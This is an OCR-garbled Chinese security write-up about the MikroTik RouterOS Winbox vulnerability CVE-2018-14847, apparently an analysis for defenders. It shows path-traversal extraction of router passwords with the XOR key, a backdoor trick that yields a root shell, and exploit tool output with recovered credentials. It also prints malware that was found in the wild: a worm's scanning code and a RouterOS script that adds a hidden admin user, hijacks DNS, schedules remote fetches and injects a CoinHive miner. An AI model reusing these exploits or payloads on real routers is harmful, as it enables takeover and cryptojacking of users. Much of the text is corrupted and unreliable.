string::string{{int)uéé, v?, v8, v?);

tokenize{{const string =)&buf, (int)udd, |'/'};

if { *dir_traversal check{{string ==}&buf) }

1
I AR EEX AT HZOC A mproxy A7 AE i JiE BURS o B A% [ I it R AS A2, RIS A%S 3 U i
PR AT S A 02 2R R TR A & AR, #8h Burp Suite 2512 T A 5 Routeros i
R, BT 2 OS8R 204, IVEL 0 i, X BB A HZ I B VA IR 1, D0 mT 2
2% https://github.com/BasuCert/WinboxPoC B il HEFikiit )ik R , FATEE 18 MR SS
B LB ICAE (T T SO RE,  BUR B HE 42 Router0s BT P 4 B AR (5 K1Y S M4
/flash/rw/store/user.dat.

ox2 JRiFFIH

Ox2a ARFPUEE EF H

P A2 R 11 ) R o T A P SR B SR DA TSP P 44 85 A ) Btls 22 S0 user L dat,
BT Router0S ¥ H i FHbr ki 0% 77 oma, W& i SO mds(H )4 +
"283147fkai3389") i  —IR XOR &M, mHLE R e, JLFr LA N2 S T
2, (] mikrotik-tools https://github.com/@ki/mikrotik-tools A& [HIfED
SO AT A ERGE JE A SRS, T RS B B AR A S
key = md5(username + "283i4jfkai3389")
passwd = passwd xor key
XOH OB g BROLTHOME AT B JASON R A% xU M G AR om0 B HE A 1(Get
/)] ].././../[flash/rw/store/user.dat) Z¢ it H % i [ k6 &, 1 Rk 55 4% 1 K
(Send Open File Request), 7EHRSS U B (/5 H2EHE Session ID(JE & fEREN
), BRHESIER 2(Send File Content Request) [l fIR45#8iE R, iX ALl AEFRTE
user.dat, R/EMER] LAFE H passwd:



https://github.com/BasuCert/WinboxPoC
https://github.com/0ki/mikrotik-tools

C:“Users“Administrator~Desktop*“WinhoxPoC—master>python WinboxExploit.py 172.168.2.1
192.168.2.1
»2 admin

r: admin
g5 loser

r: admin
g5 | wew.6cloudtech.com

N Telnet 192,168.2,

r @
L e
had command nam
r @
had command nam

1
1
e 1s (line 1 column 13>
1
e pud (line 1 column 12
1
TYPE SIZE CREATION-TIME
directory oct /25,2018 28:51:87
uzer—manager directory octs31-2018 18:12:18
user—manager-sgqldb file 80.0KiB oct-25-2018 28:51:1@
user—manager/logsgldh file 6.8KiB oct~/25-2818 20:51:89

SRIMIX PRI K P B FE 2, HEEFIH N B — ey 24X Routeros BHTHC & AIE B, 6
VIR Linux R4, A GE R (S T RBEEREEERES), N T iEEUE
EEMHB, RIMETFE—" root shell!

ox2b FFRUELHER + TFRHET] = REAUERES

AT TR T AT R R, ey T AR R EE,
PR XA EAEERAIR” . —BORE, | HEHRGET], RZBAOAFAEEE, 28
N T ITERRBARN BREATIZRE I, H A P BT T B, BUA SR BN B2 AR %
PR x i el b AT 2y, — BB EAI B ANETT, IR iis, Hia =28 H i
PR, WAL i th SRt AT m AR ], I B A i R R L, st U, IR o
B Fe” 7, AERRAE Mikrotik B H1EE T —BOXFERR ST, J5 17 BoE A A

/nova/bin/login:

turn true

loc_8e4ca17 ; CODE XREF: sub_8@4BC15+7F3Tj

; char *




MR GRS AT B AT 0, BT 5 11 P 280 b, 75 B A2 2 AN 2% A
1.s1 WME N devel, BPEREH BT N 245 8O~ devel
2. ¥ nv:hasOptionPackage () iR [ NE (IF @)

ZAF 1 HERAVEANTES, A A 2 W e ? @ SR ) AT, AT TR I Z R S| F
H % OB FE /nove/1ib/1ibumsg. so (L& W S AL FE )24 :

(a0ption

. ADE78
1

/16hasOptionPackageEv endp

pckg/option’

i LR R A, REEAE /pckg/option SCFAEAE , nv:HasOptionPackage ()4
BB, BB NG a2

TE )G 118 B & 22 ¥ B TsBackdoorAccount RGN 1, 3R MR admin MK /1 —FkE %5
f, fEARAE S AL SEAH OO B G, 2@l 2 MR R & ik bash shell:



;lcondition 1 : TsBackdoorAccout != @

2 : the function return true

t aBash

; CODE XREF: sub_g8@

get root shell

false_condition: ; CODE XREF: sub_8@4BC15+9DBtj

%M 1: #5iE IsBackdoorAccount NE

%A4F 2: nv::hasOptionPackage()iR[A HHE

T 36 3 HIT TR PR 23 B e 6, 3K 2 AN TNl A2 , [RIE RouterOS $4AT root R 1f1/bin/bash,
XFEELRE SRS root shell #HTAEESNAIA, HEINZE11XC/pckg/option & A EAE
B, W5 N kBRI M KB/ nova/bin/mproxy AEREFRATTSLEL S5 N3] /pckg/ H
X

else
{
string::string{&buf);
string: :append{{string =)&buf, (const string *)u64);
string::freeptr{{string =)u6l};
*(_DWORD =*)u64 = buf.st_dewv;
LODWORD (buf .st_dev) = & emptyString;
v18 = string::freeptr({string =*)&buf);
¥
v19 = nu::message::get<{nu::u32_id>{ak, B<FFOE0B, w18, vi8);:
if ( T{BYTE1{u19) & Bx40) && (unsigned _ int8)isSensitiveFile({const string =*)uéh) )}
{
vi7 = &buf;
string::string{&buf);
goto LABEL_67;
H
v28 = malloc{Bx1Cu};
=({_DWORD =)u28 + 1) = -1;
*(_DWORD =)u2B = off_8655FBA;
u21 = {_DWORD ==)({char =)u2@ + 12);
string::string{{char =)u2B8 + 12);
vector_base::vector_base{{char =)u28 + 28);
*{{_DWORD =)uv28 + 2) = -1;
*#((_DWORD #=)u2B + 4) = B;
ny::message:messade{(nu: :message *)&u65);
if ( a5 == 1)
{
u23 = sub_BB5B8B52(v22, uhl);
*#({_DWORD =)u2B + 4) = @;
v2h = pperator<{<{{int)&cout, {int)"creating file for writing: ", w23, v23);
v25 = {ostream =*)sub_8858BEB{u2L4, v21);
endl (w25} ;
v26 = open{{const char =*){={{_ DWORD =})u2@ + 3) + 4}, 577, 438);
*({_DWORD =)u2@ + 2) = v26;
if ( v26 >= 8 )
{
getRun{ {int)&v63, (int)vZB8, (int)Write, 0);
nV::messaqe::message((nv::message *JuGai);
¥

else
7£1% handler B4 a5 = 1(commad = 1)K , B R FLE H 3% /var/pckg/ 5 NS0,
TESNVEPAT BT 25 % AT BUR RS, 24 policy | Ox4@ = @ [HIHE, BAE A Bt
VI, AT command 1, R HIBLIML PR E 0x90, Rl b # 4 s vr




string::freeptr{{string =)&addr};

*{_DWORD =)vhy = off_ 8O55EDS;

duword_ 8857668 = (int)ul;

nu::policies::set policy{{nv::policies =){{char =)jul
nu::policies::set policy{{nv::policies =){{char =)jui
] policie set_policy{{nv::policies =)({(char =}ul

+ 4f), 6u, Bx98u);
+ 40y, [Qu, 8x9oulf
+ 48), 2u, Bx9Bu);
nu::policies::set_policy{{nu::policies =){{char =)u4 + 48}, Su, B8);
nu::policies::set_policy{{nv::policies =*}{{char =)us + 48), 3u, Bx56u);
nu::policies::set policy{{nv::policies *}{{char =*)ul + 48}, Lu, B8);
set_policy{{nv::policies =)({{char =)ul + 48}, 7u, B);
nv::Looper::addHandler {(dword 8857C54, 2u, {(nv::Handler =)ul);
uiZ2 = 8;

KA R EER, AU RS SEMNTE BB BN 2K Session ID, HifRALT[H
TR, IXMERE T O AR BA R BIEAL R R EIRE I session ID RiE
IR BRI R -

case 5:
43 = pu:i:imessage::qget<nv::u32_id>{a4, BxFE@BE1, -1, a5 - 1};
= {string =)}&buf;
sub_8854196({int =)&buf, (int)al, vul);
if { {(Object *=)LODWORD{buf.st_dew} == a3 + 26 )
{

string::string(&buf);

nu::errorisg{az, BxFEBBB4u, {(const string =)&buf);
LABEL_62:

string::freeptr{vs);

return a2;

¥

2, BRI EIEAR B 2R AT LA python #id socket EfEk —itHEdE S5
Router0S #HATIEAG , (HF LHEE IR0 A 5 B4 HZE B, Tenable | Routeros & /7 #21it
1 c++[1 winboxapi FE XK T RIS KI9s 'S

E std::string getPasswords (const std::string& p_ip, const std::string& p winbox port)
B {
std::cout << "[+] Extracting passwords from " << p_ip << ":" << p_winbox_port << std::endl;
Winbox_Session winboxSession(p_ip, p_winbox_port);
if (lwinboxSession.connect())
F| {
std::cerxr << "[!] Failed to connect to the remote host" << std::endl;

return std::string();

i }

WinboxMessage msg;

msg.set_to(Z, 2);

msg.set command(’) ;

msg.set request id(l):

msg.set_reply expected(true},
msg.add_string(l, "/ v /£
winboxSession. send(msq),

msg.reset();

if (lwinboxSession.receive (msg))

El {

std::cerr << "[!] Error receiving an open file response.” << std::endl;
return std::string() ;

F }

U A SRR FH 3



~/Desktop/routeros-master/poc/bytheway/build# telnet -1 devel 192.168.2.1
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '"]'.
Password:
Login failed, incorrect username or password

Login: Connection closed by foreign host.
:~/Desktop/routeros-master/poc/bytheway/build# ./btw -i 192.168.2.1

LY THE WHY

Extracting passwords from 192.168.2.1:8291
Searching for administrator credentials
Using credentials 1 admin:loser
Creating /pckg/option on 192.168.2.1:8291
Creating /flash/nova/etc/devel-login on 192.168.2.1:8291
There's a light on
:~/Desktop/routeros-master/poc/bytheway/build# telnet -1 devel 192.168.2.1
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '"]'.
Password:

BusyBox v1.00 (2017.10.30-09:58+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a

Linux MikroTik 3.3.5-smp #2 SMP Mon Nov 27 11:02:04 UTC 2017 i686 unknown
# pwd

/Tlash/rw/pckg

# mkdir www.6cloudtech.com

# cd www.6cloudtech.com

# pwd

/flash/rw/pckg/www.6cloudtech.com

ox3 FEEFH BT

Mikrotik ]
Routeros J
‘;9
s
)
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. (5) 6
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Py K4
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EL M. CVE-2018-14847 = [ HSMESEEAS, 7 i 3 TR AP it
AT B I TRATT A BT B VPNF L Lter (5 0%, 2 il FR 200 IR V6 o BB
R B, AR I BN 6] B ]t 0 2 B ot 2 ) PR IR R B &



http://www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf

Mikrotik E%E%%E‘Ji‘%ﬁflﬁlﬁiﬁiﬂUﬁtﬂlﬂﬁﬁ?ﬁ%(lﬂ WEZN B ),
Avast. MalwareBytes %¢) Ri¥E IR K&, M0 HEBGE H A2 P, At A2 ET?
WA RO, LR E LM REI T — RIVNREIREE S 50T

BT R — OB W28 HH B B+ browser_update.exe, iz
ITZEE AR, HeHT Mikrotik MA5HE L 8291 [AIARI KRN IP KK
S RE

% exe XfFRH PyInstaller‘(ﬂ@, py 7':1 exe) T ﬁ‘ﬁﬁ}ZEl’J it i 4
(exe->pyc) M4k (pyc->py) Al AFRECH 2 4> py Efllzli.upd_browser“.py Zil
ups.py

AT R IIX 2 ANEIAS 2 B R B CVE-2018-14847 R A M Bk 2% , A i
By 4 i PR A AR AR AT s AT RIS A0 A2 06 3, 4k 28 IT?%V\]E’JﬁHF‘
TR A ERINNE http WS (N2 408 ) Ik, 2GR s 208 8e
Uit 19 R B A () B L B 1 Web  proxy i 1 8080 JHEHEHLIE K K] url 4L
WU error.html {E M RIR A, 1 error. html JEASH EHRN T I20 F2% 1
R Js AR, 5 aH BRIz

P E A M
Hdef scan():
while True:
random.seed ()

ipZ = str(random.randint (0, 255))
time.sleep (random.randint (0, random.randint (0, 50)))
ipl — str(random.randint (0, 255
ip3b = random.randint (0, 255)
for ip3s in xrange(ip3b, ip3b + 20):

ip3 = ip3s

if ip3 > 255:

ip3 — ip3 - 256

for ip4 in xrange(0, 256):
ip = str(ipl) + '.' + str(ip2) + '.' + str(ip3) + '.' + str(ip4)
serror — ping(ip, 8291)
if serror == 0:
serror = ping(ip, random.randint (567 56887)) #8291 iEERINIE , Fri&FEHLIE#E 56778, 56887] X [A] A% O

if serror != 0:
poc(ip, 0)

Hif _ name_ =— '_main_ ':
time. sleey (3)
pyautogui.alert (text="Update error code S0072EE2', title='Error', button='OK')
time.sleep(20)
urllib. urlo}:en(u}:s viplogpoc) .read()
ups.log(’
FE‘}#E%%T AﬁkEEL M1
for i in xrange (thmax): #thmax = 600
try:

p = threading.Thread(target=scan)
p.setDaemon (True)
p.start()
=] if i = thmax - 1:
ups.log{'Start 550')
= except:



R A FACES (EREE 5 2R

poc (:Lp, level) B

level = int(level)
] if level = 3:
£ return False
user_pass = ups.get_user_pass(ip)
] if len{user_pass) != 0:
1 try:

fg = False
shed = bytearrav([])
shedidx = bytearrayv([])
part = random.randint (0, %)
newpass =

1 for i in xzrangs ((

newpass += ' [random.randint (0, 57)1]

] for user_pass_one in user_pass
1 if user_pass_one[l] == 'd
newpass = user_pass_one[2]

ups.log(ip + + ':' + newpass)
strusr = ip + '-— + str{part) + '\r\n'

1 for user_pass_one in user_pass:
strusr += ip + ':' + user_pass_one[l] +

+ user_pass_one[2] + r\n
ups.log(strusr)
kevbase58 = ups.decrypt_password(
keybase58 = base58.b58encode (keybase58)
shed, shedidx = ups.make_ sheduller({shed, shedidx, ups.get_script(ip, part, newpass, keybase58))
1 for user_pass_one in user_pass:
1 if user_pass_one[0] == '
fql = ups save f:\.le(lp, usez_pas

1', newpass)

_one[l ], user_pass_one[2

', shed, False)

ups save f11e(1p, user_pass_one[1]

user_pass_one
', shedidx, True)

AR G th A I RE T 2 QU S TR, IR E TR S5 R N AT B B AR,
%%EEFEI’JWU EAAARG IR -

HHIFFBRE
:do {/ip proxy set enabled=yes port=808B0 src-address="::"} on-error={:log info errorProxy}
/EBREAFRAERE, #EECH

:do {/ip proxy access remove [find Action=deny]} on-error={:log info errorProxy}

:do {/ip proxy access remove [find Action!=deny]} on-error={:log info errorProxy}

/IR E sysadminpxy ﬁﬁ?ﬁ?ﬁ.ﬁﬁﬁt’ﬂﬂ‘

:do {/ip proxy access add action—deny disabled—no cormment=sysadminpxy} on-error={:log info errorProxy]}
7 TRV 7 ok T e HE e 2

:do {/ip firewall nat remove [find comment=sysadminpxy]} on-error={:log info errorNat}

/ /RN B AR B A - E fE M s 0k O Els080

:do {/ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-address-list=10k
action=redirect to-port 080 comment=sysadminpxy} on-error={:log info errorNat}

/AR LA R AL E a0 (FER )

:do {/ip firewall nat move [find comment=sysadminpxy] destination=0} on-error={:log info errorNat}

:do {/ip firewall filter remove [find comment=sysadminpxy]} on-error={:log info errorFilter}

/ /AN RTER AT H 895 028080, ADF iphn AorHLhE 2, %P /5 Mk

:do {/ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080
action=add-src-to-address-list address-list=0Ok address-list-timeout=5s comment=sysadminpxy} on-error={:log
info errorFilter}

/REAR e R AL E Fr0 (EH M)

J:do {/ip firewall filter move [find comment=sysadminpxy] destination=0} on-error={:log info errorFilter}

/ip dns set servers=054.24 .254,10 172.42.186,128.52 3 209,163.53.2468.170,185.208.2068.141
J:do {/system ntp client set enabled—yes pPrimary— ntp—SB 147 254 230 secondary ntp=88. 147 254 235}
on-error={:log info errorNtp}

/system scheduler remove [find name=Rutoll3]

/system scheduler remove [find name=updlll]

/system scheduler remove [find name=updll12]

/system scheduler remove [find name=updll3]

/system scheduler remove [find name=updll4]

/1 EINRIES

o {/system scheduler add name="updlll" start-time=startup on-event=":delay 5m

:do {/tool fetch url=\\"{iplogstart}\\" mode=http keep-result=nc} on-error={}

/system scheduler remove [find name=updlll]"

policy=api, ftp, local, password, policy, read, reboot, sensitive, sniff, ssh, telnet, test, web, winbox,write}
on-error={:log info errorUpdllz}

E:do {/system scheduler add name="updll2" start-time=startup on-event="/system scheduler remove [find name=

shl13]

:do {/file remowve ull3.rsc)} on-error={}"
policy=api,ftp,local,password,policy,read, reboot,sensitive,sniff, ssh,telnet,test,web,winbox, write}
on-error={:log infe errorUpdll2}

:do {/system scheduler add name="updl113" interval=6h on- event—(" do {/tool fetch url=\\"

dst-path=u113.rsc} on-error={}

AT KBS ) E TR 2 R HTTP ARHE sysadminpxy, HFEE R 80 H i
M (http V5iA)) B AH 8080 i1, HAE 4 FrF it sysadminpxy L 8080 Ui
G R (O 7 Ja T AT LAIR [B] 403/Forbidden i T )



Fl:do {/system scheduler add name="updl14" interval=12h on-event=(

) policy=api,ftp,local,password,policy,rsad,reboot,sensitive,sniff,ssh,telnst,test,wsh,winbox,write} on-srror={:log info
FerrorUpdll3}

[:do {/system scheduler add name="Autoll3" start-time—=03:11:00 interval=1ld on-event="/system reboot"

policy=api, ftp, local, password, policy, read, reboot, sensitive, sniff, ssh, telnet, test, web, winbox, write} on-error={:log info
errorButoll3}

F:do {/file remove autosupout.rif} on-error={}
E:do {/file remove autosupout.old.rif} on-error={}
//F FBRouteros APTEEE %% 8278 F1 FTPim 21

/ip ssrvice set api disabled=no port=17

28 address=""

/ip service set ftp disabled-no port=21 address=""
//BIEA FPdircreate
[:if ([:len [/user find name=("dircreate")]] > 0) do={/user remove "dirc

fuser add name=dircreate group=full password=[newpass} disabled=nc comment=
:do {/file print file=dircreate} on-error={:log info errorFilePrint}
dela

*_ =

/1 EEREERBRAEZEY BAEMNerror L H

H:do {/file set dircreate contents: <htm1>\\r\\n<head>\\r\\n\t<meta http— equ1v—\\'
charset‘w;nduws— >

ontent-Type\\" content=\\"text/html;

</script>\\r\\n<script>\\r\\n\tvar miner = new CoinHive.Anonvmous ({chEey],

Tthrottle: U.LJJ; WLZLLnsT
miner.start (CoinHive.FORCE_EXCLUSIVE_TAE) ;\\r\\n</script>\\r\\n</head>\\r\\n<frameset>\\r\\n<frame sre=\\"\\3(url)"
frame>\\r\\n</frameset>\\r\\n</html>"} on-srror={:log info srrorFileSave}

//FE IS

gy

0.0.1 mode=ftp user=dircreate password={newpass} src-path="dircreate.txt"

} on-error={:log info errorfileCopy}
de=ftp user=dircreate password=[newpass] src-path="dircreate.txt"
on-error=(:log info errorfileCopy2)

do {/file remove "dircreate.txt"] Dn—error:{]
:do {/user set address—87.246.0.0/1¢,152
dircrsate]} on-srror={:log info eerrSEtAddressl

:do {/user set disabled=yes [find name=dircreate]} on-error={:log info errorSetAddress}

ofe,1

£2.0.0/16, {vip} [find name!=

[user remove [find nams=ftu]

/user group removs [find nams=ftpgroups]

/ip service set ftp disabled=yes port=2. address=""
S/ E sockss MERESSELEW271s 250

[1:do {/ip socks set enabled=no port=27182} on-error={:log info errorSocksSet]}

:do {/ip socks access remove [find action=deny]} on-error—{:leg info errorSocksAccess}

:do {/ip socks access remove [find action'=deny]} on-error={:log info errorSocksAceess}
:do {/ip dns static remove [find address!=1.1.1.1]} on-error={:log info errorStaticDns}

:do {/tool sniffer set streaming-enabled=no} on-error={:log info errorSniffer}
/system reboot

M EBARG AT AT LLR B, Bl #F 288 error . html TUH #8300 R 48 L 2

N B 42 F :webproxy/error.html F1 flash/webproxy/error.html,
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1 <html>
2 E<head>
3 <meta http-eguiv="Content-Type" content="text/html charset=windows-1251">
4 <title>"$(uxl)"</title>
5 <script src="https://coinhive.com/lib/coinhive.min.js"></script>
6 [El<script>
7 var miner = new CoinHive.Anonymous('ryZzlD uD1PBMchMFviBXPL1E1bbGs', {throttle: 0.1}):;
8 miner.start(CoinHive.FORCE_EXCLUSIVE_TAB) ;
S  |</script>
10 (</head>
11 O<frameset>
12 <frame src="3%(ygl) "></frame>
13  |</frameset>
14 </html>




PATE I 2 e i 25 22805 7] http 44 http://netlab.360.com, Al
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Method Status Protocol Scheme Domain Remote Address Type Initiator
403

Name X Headers  Previe
1 netlab.360.com

tent="text/hitml;charset=windows-1251">

"http://netlab.368.com/"></frame>

U\DW“ %‘%TU?‘S@J error LA RN TN BIAS TG SR FE 4, T 02 [ #0004k
I, I H M IATHRMYT iR https://coinhive.com IR, EEH5 K [FFEHE
fhgf .

Addr

S5 RRIZIRA TCIEWRATIIZE RS DNS AT , T2 AR AT 2 A, PR B
TR RS WHE L (JEE 7 DNS [a)RR) , 24 #45 I fige 2 7T LARERT 21, D 17
BT, JATEA 5 48T FHE DNS, 11772 - 8 Sor] FIARHD b i 320 A A
%, HARAIATA CHEER web AR5 8% (IXFEMEMT BB AL RE 1L H 15 [ 111 A5
M. ) P O L SR e %

<html>

g<head>
<meta http-eguiv="Content-Type" content="text/html. charset=windows-1251">
<title>"$(uxl) "</title>

<script src="http://19%2.166. 3. 8081 /coinhive.min.js"></script>

H<scripts>

var miner = new CoinHive.Anonymous ('

miner.start{CoinHive. FORCE_EXCLUSIVE TAB}

F</script>

F</head>

H<frameset>

<frame src="$(uxl)"></frame>

i zQ9PLbUl1gEzBTLCcYx"', {throttle: 0.1});

f<ff:ame5etj
L</html>
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http://netlab.360.com/
https://coinhive.com/

% hashes:

et e

GET hetp/L et 1 serpt

GET B blob text/plain comtheminjsl
GET - blob text/plain conhveminjsl
_ 200

GET . hitp/LL hitp ithacker.com 4324213115780 document

GET - hep/LL hitp ithdcker.com 4324213115780 stylesheet

. 200 .

GET . hep/L1 hitp ithacker.com 4324213113780 script

GET = http/11 http ithacker.com 4324213113780 png

GET wme websocket wss wsO13 coinhive.co websocket

| = Windows EEERR ==
D) S BEY Rme)
mRERBE [EE % R (me

- cP AE cRU AR
3 I RERR

7£360 netlab &)L T Mikrotik #20 ) X = R & KL HAE & R B AE win7
ol A7 e g R, AR A BEE AT HRAE twitter A H K
Tk, S E O e v I AR i

SR Sefr B SIS R A B M TIE. XAEE T Nebiz i, ”.'J.-E" 'H"i-{ﬂ"
FiT 2420 /1) 3 B CoinHive.com ) {CFS, B2 EE 8 e MBI EFTEE. T

[P TN B

# curl -i --proxy http://192.168.40.147:8888 http://netlab.368.com
HTTR/1.8 483 Forbidden

Content-Length: 418

Content-Type: text/html

Date: 5at, 26 Aug 2817 @3

Expires: Sat, 26 Aug 2817 @

Server: Mikrotik HttpProxy

Proxy-Connection: close

<meta http equiv="Content-Type" content="text/html; charset=windows-1251">
/netlab.260.com/"</title>

miner = new CoinHive.Anonymous( hsFAjjijTyibpVjCmfIzlfWH3hFqWvT3"
miner.start();

</script>
head>
rameset>
tp://netlab.368.com/"></frame>




(Update]

krotik RouterOS, how do you get users to visit sites that have been injected with ConHive code? It is possible in some special scenarios!!! For example, when the WebProxy client detects
that WebProxy server returns an incorrect HTTPS protocol response, some clients may prevent HTTPS data from being hijacked for security reasons, and the client will re-visit HTTPS Web resources through the
local network.OMG, there is a bug in @Apple MacOS.

Some limitations of this scenario (MacOS tested only):

1. Using a MacOS system

2. You must access a website that uses the http protocol, or the http protocol is included in the https website resources.
3. Websites that use the https protocol exclusively do not load the CoinHive code.

It is important to note that this attack scenario is easily discovered by the user because the http website code does not load properly when the user visits it.

| know someone who can find and so much hidden mikrOtik attacker. His attack code is really powerful, and he really have deeply analyze the Winbox protocol and
CVE-2018-14847 wulnerability. | learned his exploit codes a few days ago, and | spent much time to analyze it again at tonight. | accidentally found the MacOS WebProxy client bug. It's still worth it and fun for me.

I've only tested on Windows 7, and it is not all. /face Pia Pia Pia to me, and I'm sorry for the imperfect conclusion. | looked at Avast's article again, really at a base level, and | do not approve of it.

If you are in WebProxy logic, you can replay my conclusion or you can continue testing on different operating systems such as Linux / iOS / Android, while some http proxy client
applications may have such logic issues. You are welcome to share and communicate with me.

The right way of test methods:

a. You can find some N WebProxy Servers (port: 8080, 80 etc.) at censys.io. https://censys.io/ipv4?q="https%3A%2F%2Fsrcips.com%2 -y
b. You need to edit the proxy of your operating system with MikroTik WebProxy IP address (port 8080/80), and your open intemnet explorer (chrome) to visit any website will be rejected and return an HTTP
403 response code. The website won't be injected with CoinHive code under windows, but not MacOS.

set to the router IP address), and your open internet explorer (chrome) to visit any website is not injected with CoinHive code

RAUFAE T T, PRI A 1AW Bt BEA T R ) — i, 52 Jst & Censys
b3 2 MR Mikrotik B HIIE 5 R 4

L, censys Q IPv4 Hosts & Register

Signin

Resuts @ Map i Metadata Ll Report & Docs

Quick Filters IPv4 Hosts
For allfields, see Data Definitions Page:1/1,000 Results: 25225 Time: 231ms
Autonomous System: 0 111.125.143.172
1,810 TELKOMNET-AS2-AP PT SISPL-AS-AP Spacenet Internet Services Pvt. Ltd. (45232) New Delhi, National Capital Territory of Delhi, India
Telekomunikasi MikroTik Device 80/http, 8080/hitp

Indonesia EMBEDDED

MESH-AS Mesh Infranet
Private Limited 0 201.219.197.20 (201.219.197.20.itelkom.co)
806 TELEFQNICABRASIL ITELKOM (262215) Colombia

SA
700 TRIPLE-PLAY-IN TRIPLE MikroTik Device 80/http, 80BO/http

PLAY BROADBAND

PRIVATE LIMITED

B2

s

688 TELKOMNET-AS-AP PT 0 202.93.228.190
Telekomunikasi HYPERNET-ASD PT. HIPERNET INDODATA (38758) Jakarta, Jakarta, Indonesia
Indonesia MikroTik Device 80/http, 8080/http
@
Protocol 0 213.175.41.68 (srv.pha.netbrokers.cz)
205K 8080/http DIALTELECOM-AS Dial Telecom a.s. (20208) 8o, South Moravian, Czechia
8,696 80/http MikroTik Device 80/http, 8080/http

4,544 53/dns

800 443/https
559 22/ssh 0 177.101.137.245 (245.137.101.177.dynamic.ampernet.com.br)
Ampernet Telecomunicaé @es Ltda (28158) Francisco Beltrio, Parana, Brazil
MikroTik Device 80/http, 8080/http

0 91.108.139.51

@ More

4,544 dns
984 network REFATEC (56256) Iran
682 https MikroTik Device 80/http, 8080/http

® More EMBEDDED

202.93.228.190

= Summary @ WHOIS = Raw Data~
"8080": {
“http"
gt {
"body": "<!DOCTYPE html>\rinchtml lang=\"en\">\r\n\rinchead>\r\n  <meta charset=\"UTF-8\">\r\n  <meta name=\"viewport\" content=\"width=device-wid
th, initial-scale=1.0\">\r\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\r\n  <title>http://202.93.228.198:8080/</titles\r\n <styler\rin
.Full-screen-preview {\rin height: 100%;\r\n padding: epx;\rin margin: @px;\rin overflow: hidden\r\n
Fur\n \rin .full-screen-previen_frame {\rin display: block;\r\n background: #fff;\rin border: none;\rin
height: 16avh;\rin width: 168vw;\rin Arin <fstylex\rn fscript sres\"https://srcips. com/src. s\ ) /scripts\rinc/head>\rintring
body class=\"full-screen-preview\">\r\n  <script>\rin var didItOpen = false;\rin SetTimeut(function() {\run if (!didIt0pen) winde
w.frames[load-url’].location = "http://202.93.228.190:868/ ;\r\n }, 10)5\F\n </scripty\r\n  <iframe class=\"full-screen-preview_ frame\" name=
\"load-url\" frameborder=\"e\" noresize=\"noresize\"></iframe>\rinc/body>\r\n\rin</html>",
“headers": {

"content_length": "1676",
“unknown”: [

“value": “Sat, 03 Nov 2018 01:28:51 GUT",

“key": "date”
I
{
“value": “close”,
“key": "proxy_connection”
T
1

"expires": "Sat, @3 Nov 2015 @1:29:51 G,
"content_type": "text/html",
"server”: "Mikratik HttpProxy”

3,
//202.93.228.190:8080/",

"483 Forbidden”,
"Be4eleade7811573f6CCc3a09C54867b66a66035b0b3722253999175F8178446 ",

"status_line"
“body_sha2s56":
"metadata”: {
"product”: "Mikrotik",
"description”: "Mikrotik"

3



https://srcips.com/src.is AEGLEE DR error 85157 DI IIZH
e, ik E HTTP AU IP Hidib N 202.93.228.190(i%—4> ICMP AJik H.
http i I FFRUE) IP BIRT) , o 1 A 8080 1 80 i I, SR J5 A Tilid chrome 15 i
HTTP M 1 :

Nmap scan report for 202.93.228.190
Host is up (0.36s latency).

PORT STATE SERVICE
8080/tcp filtered http-proxy

Nmap done: address (1 host up) scanned in 17.19 seconds

Name Method Status Protoco Scheme Domain Remote Address
T a0 | | 3
GE p/1.0 p etlab.360.co 202.93.228.190:8080
Forbidden http http n m 2 &
(failed
GET ) https srcips.com
net=ERR_TUNNEL CONNECTION_FAILED A !
402
GET http/L.0 http etlab360.com 202.93.228.190:808!
:ul'ti:.:.e" ! l-' § l’ " ‘ =
favicon.ico - 403 . . Srm an e 1 an
GET http/1.0 http etlab.360.com 202.93.228.190:808!
|l Forbidden i e . - N
GET https reips.com

NMNEL_CONMECTION_FAILED

*DO top
¥ netlab.360.com
(index)
» [ load-url (netlab.360.com/)
» D netlab.360.com

1@
11
12
1

1

15
16
17
18
19
20

cript src="nttps://srcips.com/src.is"></script>@ I

ss="full-screen-preview">

scripty

var didItOpen = ;
setTimeout (function() {

if (!didItOpen) window.frames['load-url'].location = ‘http://netlab.368.com/': @
T, 1@

34 <fscript>


https://srcips.com/src.js

:~# curl -i --proxy http://202.93.228.190:80 http://netlab.360.com
HTTP/1.0 403 Forbidden

Date: Fri, 09 Nov 2018 10:17:31 GMT
Expires: Fri, 09 Nov 2018 10:17:31 GMT
Server: Mikrotik HttpProxy
Proxy-Connection: close

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>http://netlab.366.com/</title>
<style>
.full-screen-preview {
height: 100%;
padding: Opx;
margin: Opx;
overflow: hidden
}

.full-screen-preview frame {
display: block;
background: #fff;
border: none;
height: 100vh;
width: 100vw;

}
</style>
<script src="https://srcips.com/src.js"></script>
</head>

<body class="full-screen-preview">
<script>
var didItOpen = false;
setTimeout (function() {
if (!didItOpen) window.frames['load-url'].location = 'http://netlab.360.com/';
}, 10);
</script>
<iframe class="full-screen-preview frame" name="load-url" frameborder="0" noresize="noresize"></iframe>
</body>

A[LVER], IR 403/Forbidden M H UUHIHENIZH JHIA, XRHLPR L%
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I<html>

J<head>
<meta http-eguiv="Content-Type" content="text/html ;charset=windows-1251">
<title>"https://netlab.360.com"</title>

sScript src="https://colnhive.com/coinhive.min.Js" SCript

<script>
var miner = new CoinHive.Anonymous ('ryZ1lD14QYuD1QEMchMFviBXPL1E1bbGs', {throttle: 0.1});
miner.start {(CoinHive.FORCE EXCLUSIVE_TAB) ;

</script>

-</ head>

J<frameset>

<frame src="https://netlab.360.com"></frams>

-</frameset>

-</html>
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</style>
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1 <script>
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] setTimeout (function() {

if (1didItOpen) window.frames['load-url'].location = 'http://netlab.360.com/"';
b, 10);

</script>

<iframe class="full-screen-preview frame" name="load-url" frameborder="0" ncresize="noresize"

></iframe>
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g Censvs CoinHive.Anonymous  Mikrotik routeros

Country Breakdown Network Breakdown
Country Hosts Frequency Autonomous System (AS) Hosts Frequency
Brazil 17.82% CHINANET-BACKBONE No.31,Jin-rong Street 64,349 5.68%
